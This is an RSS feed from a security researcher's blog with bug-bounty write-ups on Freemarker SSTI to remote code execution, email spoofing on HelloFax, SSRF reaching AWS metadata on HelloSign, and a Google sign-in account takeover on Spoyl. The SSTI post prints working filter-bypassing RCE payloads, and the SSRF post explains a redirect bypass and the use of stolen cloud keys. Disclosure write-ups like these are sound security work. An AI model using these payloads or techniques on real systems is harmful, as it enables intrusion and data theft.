<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Sayaan's Personal Website]]></title><description><![CDATA[Hacker]]></description><link>https://blog.sayaan.in</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1716117653190/9uafNt1Kr.jpeg</url><title>Sayaan&apos;s Personal Website</title><link>https://blog.sayaan.in</link></image><generator>RSS for Node</generator><lastBuildDate>Mon, 20 Apr 2026 09:44:14 GMT</lastBuildDate><atom:link href="https://blog.sayaan.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[From Template to Threat: Exploiting Freemarker SSTI for Remote Code Execution]]></title><description><![CDATA[Hi Readers!
I hope you all are doing well,
In this post, I want to discuss a specific type of vulnerability I've encountered: Server-Side Template Injection (SSTI) in Freemarker that can lead to Remote Code Execution (RCE). This vulnerability is part...]]></description><link>https://blog.sayaan.in/freemarkerssti</link><guid isPermaLink="true">https://blog.sayaan.in/freemarkerssti</guid><category><![CDATA[bug bounty]]></category><category><![CDATA[SSTİ]]></category><category><![CDATA[template-injection]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Sayaan Alam]]></dc:creator><pubDate>Fri, 22 Nov 2024 14:01:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1730442576799/4931d620-631f-45d6-b078-04122a409954.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hi Readers!</p>
<p>I hope you all are doing well,</p>
<p>In this post, I want to discuss a specific type of vulnerability I've encountered: <strong>Server-Side Template Injection (SSTI) in Freemarker that can lead to Remote Code Execution (RCE)</strong>. This vulnerability is particularly concerning as it allows attackers to execute arbitrary code on the server.</p>
<h3 id="heading-what-is-freemarker">What is FreeMarker?</h3>
<p><a target="_blank" href="https://freemarker.apache.org/">FreeMarker</a> is a widely used Java-based template engine that facilitates dynamic content rendering in applications. It enables developers to embed Java objects within templates, generating customized HTML or other formats based on user input or application state. While powerful, FreeMarker can introduce security risks when user input is rendered directly, potentially leading to SSTI. When exploited, SSTI can allow attackers to inject and execute code, often escalating to Remote Code Execution (RCE) if not carefully managed.</p>
<h3 id="heading-what-is-ssti">What is SSTI?</h3>
<p>SSTI, is a security vulnerability that occurs when user input is unsafely embedded into server-side templates. Many web applications use templates to dynamically generate HTML or other content by combining static code with variable data. If user-provided data is inserted into these templates without proper validation, an attacker can inject malicious code directly into the template, leading to unintended execution on the server.</p>
<p>In severe cases, SSTI vulnerabilities can allow attackers to execute arbitrary code, access sensitive data, and even gain remote control of the server, effectively turning the vulnerability into an <strong><em>RCE</em></strong> exploit.</p>
<h3 id="heading-exploitation">Exploitation :</h3>
<p>I was onboarded to a target which was a retest of old and previously tested application.</p>
<p>Upon exploring the application, I stumbled upon a functionality allowing the admin user to set the <code>Email Templates</code> based on different types of events within the application.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730009159806/4eaf1aae-5119-41b7-9161-2bc7ea1b1ac7.png" alt class="image--center mx-auto" /></p>
<p>The input field for the template was a rich-text editor, so my initial thought was to test for <strong>Persistent Cross-Site Scripting (XSS)</strong>, but this had already been reported. After considering other vectors, I decided to test for <strong>SSTI</strong>.</p>
<p>As you can see in the above screenshot, the editor also contained predefined placeholders, suggesting template rendering was in use — ideal for testing <strong>SSTI</strong> vulnerabilities, I attempted to inject a basic payload <code>${7*7}</code> but that didn’t work. That wasn’t necessarily a surprise—SSTIs typically work on the place they are intended to be used, not the injection point—but it still led me to believe the application might not be vulnerable to this kind of attack.</p>
<p>I explored the application further to see other functionalities and possibly find a point where I could see the template as executed. I eventually found that it stores the record of all emails sent, based on their event.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730010206183/130cf71e-6806-4e98-a9a5-9f49a7bb810a.png" alt class="image--center mx-auto" /></p>
<p>At this point, I checked the logs and could already see the executed SSTI payloads there including one for RCE, but as I checked the target analytics, the RCE was not reported and the executed payload was also old. So it was probably missed in previous tests.</p>
<p>Now I went straight to the template setting and tested it with basic payloads such as <code>${7*7}</code>, which worked and gave me <code>49</code> as output in email event logs.</p>
<p>Now I have started identifying the template engine by using the following tree :</p>
<p><a target="_blank" href="https://portswigger.net/web-security/server-side-template-injection"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730435496811/3e8e651d-dd93-4449-914a-f4c9f6d0f365.png" alt class="image--center mx-auto" /></a></p>
<p>The chart did not directly address <strong>FreeMarker</strong> SSTI cases, so I experimented with specific payloads until I confirmed the FreeMarker engine. These initial payloads worked, which led me to conclude that the application is using the FreeMarker engine.</p>
<p><code>${"Hello " + "World"}</code> —&gt; Output —&gt; "<code>Hello World</code>"</p>
<p><code>${["one", "two", "three"][1]}</code> —&gt; Output —&gt; "<code>two</code>"</p>
<p><code>${"test"?length}</code> —&gt; Output —&gt; "<code>4</code>"</p>
<p><code>${.now?string("yyyy-MM-dd")}</code> —&gt; Output —&gt; <code>Current Date</code></p>
<p>Now it was confirmed that the application is using the <strong>FreeMarker</strong> engine at the backend.</p>
<p>I attempted further payloads to detect the FreeMarker version, but they did not work. So I attempted to use the <strong>RCE</strong> payload, which attempts to invoke the <code>Execute</code> utility in <strong>FreeMarker</strong> to run a command, but it was initially blocked. I received the following error:-</p>
<p><code>{"errors":["Data did not pass validations"],"requestId":"REDACTED","validationErrors":[{"errorField":"emailBody","errorMessage":"Email template contains un-allowed content. Please adjust and try again."}]}]]</code></p>
<p>I assumed the application was using a word list to block specific payloads. I attempted some other more payloads, and they weren’t successful, either.</p>
<h3 id="heading-restriction-bypass-using-lowerabc-function">Restriction bypass using <code>?lower_abc</code> function :</h3>
<p>I researched further and discovered the <code>?lower_abc</code> function in <a target="_blank" href="https://freemarker.apache.org/docs/ref_builtins_number.html#ref_builtin_lower_abc">FreeMarker’s built-ins</a>, which allows for controlled, character-by-character encoding of restricted characters. This function translates specific characters into their <strong>ASCII</strong> or <strong>Unicode representations</strong> within FreeMarker. By using <code>?lower_abc</code> or <code>?upper_abc</code>, I could bypass filters by encoding disallowed characters like spaces as permissible values. For example, <code>6?lower_abc</code> yields "<code>f</code>," allowing me to gradually reconstruct the command. This indirect approach ultimately enabled bypassing detection through restricted character encoding.</p>
<p>Using this approach, we were able to encode the <strong>RCE</strong> payload <code>${"freemarker.template.utility.Execute"?new()("id")}</code> as <strong>:</strong></p>
<pre><code class="lang-http">
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
</code></pre>
<p>This payload <strong>bypassed the validation</strong> on the backend and stored the payload successfully.</p>
<p>After executing the payload, we successfully received the output from the <code>id</code> command, confirming RCE on the machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730432555634/150afd29-ff09-48cf-b093-338d2b56fa1c.png" alt class="image--center mx-auto" /></p>
<p>Using the same method, we were able to generate few more payloads for other system <code>commands</code> , such as :-</p>
<p><code>whoami</code></p>
<pre><code class="lang-http">${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(23?lower_abc+8?lower_abc+15?lower_abc+1?lower_abc+13?lower_abc+9?lower_abc)}
</code></pre>
<p><code>pwd</code></p>
<pre><code class="lang-http">
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(16?lower_abc+23?lower_abc+4?lower_abc)}
</code></pre>
<p>After confirming the RCE, I reported the vulnerability at <a target="_blank" href="https://synack.com">Synack</a>, which was validated and accepted by them.</p>
<h3 id="heading-key-takeaways"><strong>Key takeaways</strong></h3>
<ul>
<li><p><strong>Read Template Engine Documentation for Hidden Functions</strong>: Dive into the documentation of template engines like FreeMarker to discover lesser-known functions, such as <code>?lower_abc</code> or <code>?upper_abc</code>. These functions can help bypass restrictive filters and achieve RCE, offering valuable methods for exploitation that are often overlooked.</p>
</li>
<li><p><strong>Creative Bypasses Can Lead to Major Exploits</strong>: When blocked by straightforward payloads, explore encoding tricks, function chaining, or character-by-character payload construction. This can often bypass wordlist-based filters and other restrictions that prevent typical exploitation.</p>
</li>
<li><p><strong>Test for SSTI in Template Editing Features</strong>: Whenever you encounter template editors or user-configurable templates, especially in admin functionalities, check for SSTI vulnerabilities. These areas can frequently expose critical paths to code execution if not properly secured.</p>
</li>
<li><p><strong>Importance of Retesting</strong>: Retesting is crucial as it can reveal vulnerabilities that may have been initially missed or were introduced later in the application's lifecycle. Regular assessments ensure ongoing security and may detect critical issues that arise with new features or configuration changes.</p>
</li>
</ul>
<p><em>I work as a Red Team member at</em> <strong><em>Synack Red Team</em></strong>. If you have any questions regarding this vulnerability or need assistance, feel free to connect with me on <a target="_blank" href="https://x.com/ehsayaan"><em>Twitter</em></a> <em>or</em> <a target="_blank" href="https://linkedin.com/in/sayaanalam"><em>LinkedIn</em></a><em>. I'm always happy to offer guidance to fellow cybersecurity enthusiasts. You can also read more about me on my personal website at</em> <a target="_blank" href="https://sayaan.in"><em>https://sayaan.in</em></a></p>
<p><strong><em>Thank you for reading!</em></strong></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Mail Server Misconfiguration leads to sending a fax from anyone’s account on HelloFax (Dropbox BBP)…]]></title><description><![CDATA[Hi Everyone!,
Hope you all are doing well :)
This article is about my recent finding of a mail server misconfiguration among multiple targets that allowed me to perform unauthorized actions on vulnerable web applications, This vulnerability is common...]]></description><link>https://blog.sayaan.in/mail-server-misconfiguration-leads-to-sending-a-fax-from-anyones-account-on-hellofax-dropbox-bbp-aab3d97ab4e7</link><guid isPermaLink="true">https://blog.sayaan.in/mail-server-misconfiguration-leads-to-sending-a-fax-from-anyones-account-on-hellofax-dropbox-bbp-aab3d97ab4e7</guid><dc:creator><![CDATA[Sayaan Alam]]></dc:creator><pubDate>Mon, 25 Jul 2022 17:21:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117079200/fcd3a685-4ecd-4309-9c01-842e819c2815.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hi Everyone!,</p>
<p>Hope you all are doing well :)</p>
<p>This article is about my recent finding of a mail server misconfiguration among multiple targets that allowed me to perform unauthorized actions on vulnerable web applications, This vulnerability is common among multiple targets and different types of web applications. Dropbox fixed the issue and awarded me a bug bounty of $4,913.</p>
<h3 id="heading-description">Description</h3>
<p>I was working on the HelloFax application at <a target="_blank" href="https://hackerone.com/dropbox?type=team">Dropbox BBP</a> and looking for auth issues but the application is well sanitized against authorization issues such as IDOR and Access Control so I thought to look for more interesting functionalities, I found a functionality that allows users to <a target="_blank" href="https://faq.hellosign.com/hc/en-us/articles/215338277-How-to-send-a-fax-through-email">send a fax using their email</a> without logging into their HelloFax account</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117075016/02f4a33a-e9cb-41e7-ad82-7f5b4f2ec1a4.png" alt="Working of the functionality" /></p>
<p>So , when a paid user sends an email to <em>FAXNUMBER@hellofax.com</em>, the application sends the content of the email as a fax to FAXNUMBER from the user’s HelloFax account, For eg. If I send an email <em>13456789000@hellofax.com</em>, then the application sends a fax to <strong>+13456789000</strong> from my HelloFax account</p>
<h3 id="heading-exploitation"><strong>Exploitation</strong></h3>
<p>Here the first thing that came to my mind was to send a fake email to <em>FAXNUMBER@hellofax.com</em> by putting the victim’s email into <strong>FROM</strong> field, I quickly went to <a target="_blank" href="http://anonymailer.net/">http://anonymailer.net/</a> and sent a fake email to <em>+12345678900@hellofax.com</em>, Surprisingly it worked well and I received this mail from HelloFax</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117076638/00208748-2fa6-4516-aaa6-f8403bc53d67.png" alt /></p>
<p>This email says that our fax has been sent successfully and the mail server at Hellofax did not verify the authenticity of the fake email sent by me and it sent the email from the victim’s account</p>
<p>Here is how the vulnerability works:-</p>
<ul>
<li><p>Target allows us to perform an action by sending an email to email@target.com</p>
</li>
<li><p>An attacker sends a fake email to email@target.com by putting the victim’s email in <strong>FROM</strong> field</p>
</li>
<li><p>The target server receives the email and does not verify its authenticity and considers it as a legit email sent from a user</p>
</li>
<li><p>Application processes the email and performs action from the victim’s account and leads to authorization bypass</p>
</li>
</ul>
<p>I reported the bug immediately to Dropbox BBP on Hackerone and it got triaged the next day but the team downgraded the severity to <strong>High</strong> stating the following reason</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117077998/cb5042e4-d9b0-45d3-9c84-d65bed46f128.png" alt /></p>
<p>Team Comment on Hackerone</p>
<p>Though they paid me a bounty of $4913 on High category as per their policy</p>
<h3 id="heading-other-exploitation-scenarios">Other Exploitation Scenarios</h3>
<ul>
<li><p>I found the same vulnerability on a bug reporting portal that allowed me to create bug tickets from the victim’s account by sending an email to <em>bugs@redacted.com</em></p>
</li>
<li><p>This bug could be found on applications that are using their own support panels and we can create tickets there on behalf of the internal team or any other user</p>
</li>
<li><p>Any other kind of application that performs actions or creates tickets/bugs by sending email to them</p>
</li>
</ul>
<p>The root cause of this vulnerability is that the target server does not verify SPF records, Email clients configured to use SPF and DMARC will automatically reject emails that fail validation and this should be applied to applications to prevent this vulnerability</p>
<h3 id="heading-timeline">Timeline</h3>
<p>16-Dec-2021 — Reported bug to <a target="_blank" href="https://hackerone.com/dropbox">Dropbox BBP</a> on Hackerone</p>
<p>17-Dec-2021 — Bug Triaged by Hackerone Triage Team</p>
<p>31-Dec-2021 — $4913 Bounty awarded by Dropbox Team</p>
<p>17-March-2022 — Dropbox Team fixed the issue</p>
<p>02-May-2022 — Report closed as resolved</p>
<p>Thanks for reading this, If you have any queries, feel free to reach me on Twitter at <a target="_blank" href="https://twitter.com/ehsayaan">@ehsayaan</a></p>
<p>Special thanks to <a target="_blank" href="https://twitter.com/samwcyo">Sam Curry</a> for proofreading this writeup</p>
<p>Until next time!</p>
<p><a target="_blank" href="https://sayn.in">Sayaan Alam</a></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[SSRF (Server Side Request Forgery) worth $4,913 | My Highest Bounty Ever !]]></title><description><![CDATA[Hi Everyone! ,
Hope you’re doing well , today I am doing another write-up about one of my best findings and my highest bounty ever. It’s an SSRF — Server Side Request Forgery vulnerability I discovered in Dropbox Bug Bounty Program.
On First Glance ,...]]></description><link>https://blog.sayaan.in/dropbox-ssrf</link><guid isPermaLink="true">https://blog.sayaan.in/dropbox-ssrf</guid><dc:creator><![CDATA[Sayaan Alam]]></dc:creator><pubDate>Tue, 10 Nov 2020 10:53:40 GMT</pubDate><content:encoded><![CDATA[<p>Hi Everyone! ,</p>
<p>Hope you’re doing well , today I am doing another write-up about one of my best findings and my highest bounty ever. It’s an SSRF — Server Side Request Forgery vulnerability I discovered in <a target="_blank" href="https://hackerone.com/dropbox/">Dropbox Bug Bounty Program.</a></p>
<p>On First Glance , Dropbox Program looked very interesting to me as it was having best payout and good response time , so I choose to hunt on Hellosign mentioned on Dropbox Bug Bounty Program’s Policy.</p>
<p>I started hunting on main application at app.hellosign.com , I found that there was a feature of importing document from Dropbox , GDrive , BOX , OneDrive , EverNote. At this point SSRF came up in my mind already , so I started with Dropbox Import Feature , I saw the following request :-</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117084181/13076ae1-8506-45fe-b5eb-8415b8bd9850.png" alt /></p>
<p>I changed the value of <code>file_reference</code> parameter to my burp collaborator URL , But I got <code>404</code> 😫 , at this point I thought they already have SSRF Protection there , I gave up and closed my P.C</p>
<p>On Next Day with fresh mind , I thought to Dig-In Again and I tried with OneDrive Feature and I saw this request :-</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/attachment/externalFile?service_type=O&amp;file_reference=MYONEDRIVEFILELINKHERE&amp;file_name=FILENAME.ANYTHING&amp;c=0.8261955039214062</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: app.hellosign.com
<span class="hljs-attribute">Connection</span>: close
<span class="hljs-attribute">Accept</span>: application/json
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
<span class="hljs-attribute">X-CSRF-Token:
Sec-Fetch-Site</span>: same-origin
<span class="hljs-attribute">Sec-Fetch-Mode</span>: cors
<span class="hljs-attribute">Sec-Fetch-Dest</span>: empty
<span class="hljs-attribute">Referer</span>: REDACTED
<span class="hljs-attribute">Accept-Encoding</span>: gzip, deflate
<span class="hljs-attribute">Accept-Language</span>: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7
<span class="hljs-attribute">Cookie:REDACTED</span>
</code></pre>
<p>You’ll see that above request is having a service_type paramter value <code>O</code> which means onedrive it’s making it different from the first request which is from dropbox and having <code>D</code>in that parameter. Now value of <code>file_reference</code> parameter changed to my collaborator link and luckily i got a ping this time.</p>
<p>After this a PDF got generated on HelloSign which contained the content of my collaborator page. At this moment I got too much happy 😍</p>
<p>Now I moved to get localhost content , At first I checked which cloud service they’re using on <a target="_blank" href="http://whatismyipaddress.com">whatismyipaddress.com</a> , I found that they're using AWS/EC2 , So tried getting <a target="_blank" href="http://169.254.169.254/latest/user-data"><code>http://169.254.169.254/latest/</code></a> , But I got :-</p>
<p><code>404 Not Found</code></p>
<p>Sadly Request Didn’t Go through , Now I tried <a target="_blank" href="http://127.0.0.1">http://127.0.0.1</a> , that too got the same response.</p>
<iframe src="https://giphy.com/embed/WIAxZtUxUY000/twitter/iframe" width="435" height="251"></iframe>

<p>Now I got lil sad but I tried to find more ways through Hackerone Hacktivity and Found this GEM Report :- <a target="_blank" href="https://hackerone.com/reports/247680">https://hackerone.com/reports/247680</a> where reporter used <code>303</code> Redirect to Bypass SSRF Protection.</p>
<p>I quickly hosted the following code on my server :-</p>
<p>Now I tried again with my server redirect link and Finally!!! I got the content of AWS Instance (Metadata) 😍 😍 😍</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117085662/2a3ea8e2-3323-4e61-aadf-7c1e8f118c1a.png" alt="AWS METADATA CONTENT" /></p>
<p>Now I got too much happy and shocked too as found full read SSRF on one of the biggest and best bug bounty programs around the world, I was able to retrieve everything from AWS metadata like access_keys, tokens, etc.</p>
<p>I reported the bug immediately and It got triaged in 3 hours :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117086874/f7d963fc-4ef0-4d2c-a9a9-0f77b30f47c0.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117088088/0264b152-9b1f-4502-92e7-bae0ba5d752d.png" alt /></p>
<p>It was the happiest moment for me. 😄 😄 😄</p>
<p>Now Team asked me to check if RCE was possible there or not. I got the access key , token and Tried Executing this commands:- AWS ec2 stop-instances — instance-ids intsanceidhere , But it didn’t worked as that role was not having enough permissions to execute the command.</p>
<p>But I was still too happy and was excited for Bounty 😙</p>
<p>Finally, on the 9th Day, Dropbox Rewarded me with $4913</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117089316/9089a1c6-5161-4f6c-adab-06b86e9c57b8.png" alt /></p>
<p>It was all about my first SSRF and the highest bounty till now. 😄</p>
<p>If you have questions and anything about the post you want to ask me, please contact me via <a target="_blank" href="https://twitter.com/ehsayaan">Twitter (ehsayaan)</a> My DMs are always open.</p>
<p><em>Kudos to</em><a target="_blank" href="https://twitter.com/zseano"><em>Sean(zseano)</em></a><em>,</em><a target="_blank" href="https://twitter.com/samwcyo"><em>Sam Curry</em></a><em>,</em><a target="_blank" href="https://twitter.com/_jensec"><em>Jenish Sojitra</em></a><em>and</em><a target="_blank" href="https://twitter.com/Shubham_4500"><em>Shubham Patel</em></a><em>for reviewing this blog.</em></p>
<p><em>Special thanks to Dropbox Security Team for helping me throughout the whole process.</em></p>
<h3 id="heading-until-next-time">Until Next Time!</h3>
<hr />
]]></content:encoded></item><item><title><![CDATA[Story Behind Spoyl Data Leak !!!]]></title><description><![CDATA[What’s Up InfoSec Community, It’s Sayaan Alam and I’m not perfect in doing write-ups, Please Ignore Mistakes... Let’s Move to the bug.....
What was the bug
There was an IDOR Causing to account takeover ,The main problem was with the integration of Go...]]></description><link>https://blog.sayaan.in/spoylleak-4ea0a8641561</link><guid isPermaLink="true">https://blog.sayaan.in/spoylleak-4ea0a8641561</guid><dc:creator><![CDATA[Sayaan Alam]]></dc:creator><pubDate>Fri, 15 Nov 2019 18:36:16 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117101664/f7d7b501-19b1-415f-a9a4-086e1f99f7d0.jpeg" alt /></p>
<p>What’s Up InfoSec Community, It’s Sayaan Alam and I’m not perfect in doing write-ups, Please Ignore Mistakes... Let’s Move to the bug.....</p>
<h4 id="heading-what-was-the-bug">What was the bug</h4>
<p>There was an IDOR Causing to account takeover ,The main problem was with the integration of Google Sign-In service the webserver was just verifying the mail id of the user instead of verifying both access token and email so I replaced the “email” value with the mail id to victim’s email id and got the access.</p>
<h4 id="heading-about-the-vulnerability">About the Vulnerability</h4>
<p>IDOR - It occurs when an application refers to some other internal objects via different parameters in an insecure manner When a user-supplied input is being processed by the server without being validated. This vulnerability mostly presents with the of APIs</p>
<h4 id="heading-lets-start">Let’s Start</h4>
<p>It was May - 2019, My Favourite time in bug bounty because I had found more than 20+ bugs in 20+ different companies... Even I had made to Google HOF this Month...</p>
<p>So, I was searching for bugs and get tired so started surfing my Instagram... an advertisement for spoyl comes in with the idea of testing spoyl...These days I was a big fan of testing Sign In with Google Option, I Moved Ahead and Tested Out..... When Returning From Google I Found a request made to spoyl web server for access...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117103069/beda1007-283d-41a6-8436-04f53e0c3448.jpeg" alt /></p>
<p>I was Like Hurrayyy!!! When I Found This... So I manipulated it with a random email-id spoyl@gmail.com...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117104499/18a7ccf5-84e6-411a-a811-6cd919badcb4.jpeg" alt /></p>
<p>and Guess... What was the result, I got Successfully Logged In To the User’s Account...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716117106007/f169db91-40fa-461c-89c9-f99fe1a1c923.jpeg" alt /></p>
<p>Main Story Begins<br />It was party time for me, But Not So early...<br />Now I searched For Their CEOs Email address and hopefully found it on rocket reach... I had opened their CEO's account and got his mobile no... It was interesting, getting the personal phone no of CEOs will make it easy to report the bug... I moved ahead and reported the bug to him, He instantly called me and asked about the bug... I was thinking that he’s a responsible person... But Wait!!! Nothing like that... I checked the issue next day, It was still there, I was Like - Whaaat!!! It was an account takeover or an XSS, why these guys are not taking it seriously... I left it, checked again after a week... Hmmm, It was Still there, I contacted CEO again..... and He Blocked Me...</p>
<iframe src="https://gfycat.com/ifr/annualellipticalcaecilian" width="250" height="188"></iframe>

<p>I was very confused at that time and left them... Now in September I had again checked it and guess what the bug was still there, Now I got very angry at that time Because the website is leaving data of millions at risk and many Indian celebrities having their accounts on spoyl..... Really I was not expecting this from a Silicon Valley returnee.... ( Yesss, He had worked at Silicon Valley )...<br />Now I thought to contact Some Journalists To highlight this issue... I had Contacted Many Journalists but got help Mrs. Rachna Khaira From Huffington Post, She called me and asked about everything related to the bug, She was surprised when I told her that Many Indian Celebs..Having their account on spoyl and I can access their Phone No, Address Details.....She asked me for proof so I sent her proof of an Indian Celebrity’s account..... She verified the issue and contacted the spoyl CEO, and Confirmed this issue...They fixed it Next Day…(POWER OF MEDIA)</p>
<h4 id="heading-my-motive-behind-this">My Motive Behind This</h4>
<p>Security Should Be the first priority for every Company….But there are like 70% Companies Not Serious about cybersecurity….This is the most important part of your company. Many companies didn’t respect security researchers who help them to improve their security even many companies threaten them that they’ll file a lawsuit. Just imagine if a black hat hacker got the same bug instead of a white hat hacker what he could have done with you. We want to have safe and secure cyberspace.</p>
<h4 id="heading-what-should-be-changed">What Should Be Changed</h4>
<p>Every Company should launch its bug bounty programs of responsible disclosure policy. You should respect every hacker who reports bugs to you instead of exploiting it.</p>
<p>The mindset of a startup should be like that you should launch your bug bounty program with the launch of your company or you should perform vulnerability assessment regularly and before the launch of any service. This is important for start-ups because If your reputation goes down at your starting level then it’ll be very tough for you to get it back.</p>
<h4 id="heading-poc-video">POC VIDEO</h4>
<iframe src="https://www.youtube.com/embed/UrMAxrRVXHY?feature=oembed" width="700" height="393"></iframe>

<h4 id="heading-dont-forget-to-read-this-news-article">Don’t Forget to Read this news Article:-</h4>
<p><a target="_blank" href="https://www.huffingtonpost.in/entry/spoyl-website-bug-found-by-14-year_in_5dc1641ae4b0615b8a99830c">https://www.huffingtonpost.in/entry/spoyl-website-bug-found-by-14-year_in_5dc1641ae4b0615b8a99830c</a></p>
<p>Best of luck for all of your future infosec things.</p>
<p>If you have questions and anything about the post you want to ask me, please contact me via twitter. I’ll have my DM open.</p>
<p><a target="_blank" href="http://twitter.com/ehsayaan">Twitter</a></p>
<h3 id="heading-until-next-time">Until Next Time!</h3>
<hr />
]]></content:encoded></item></channel></rss>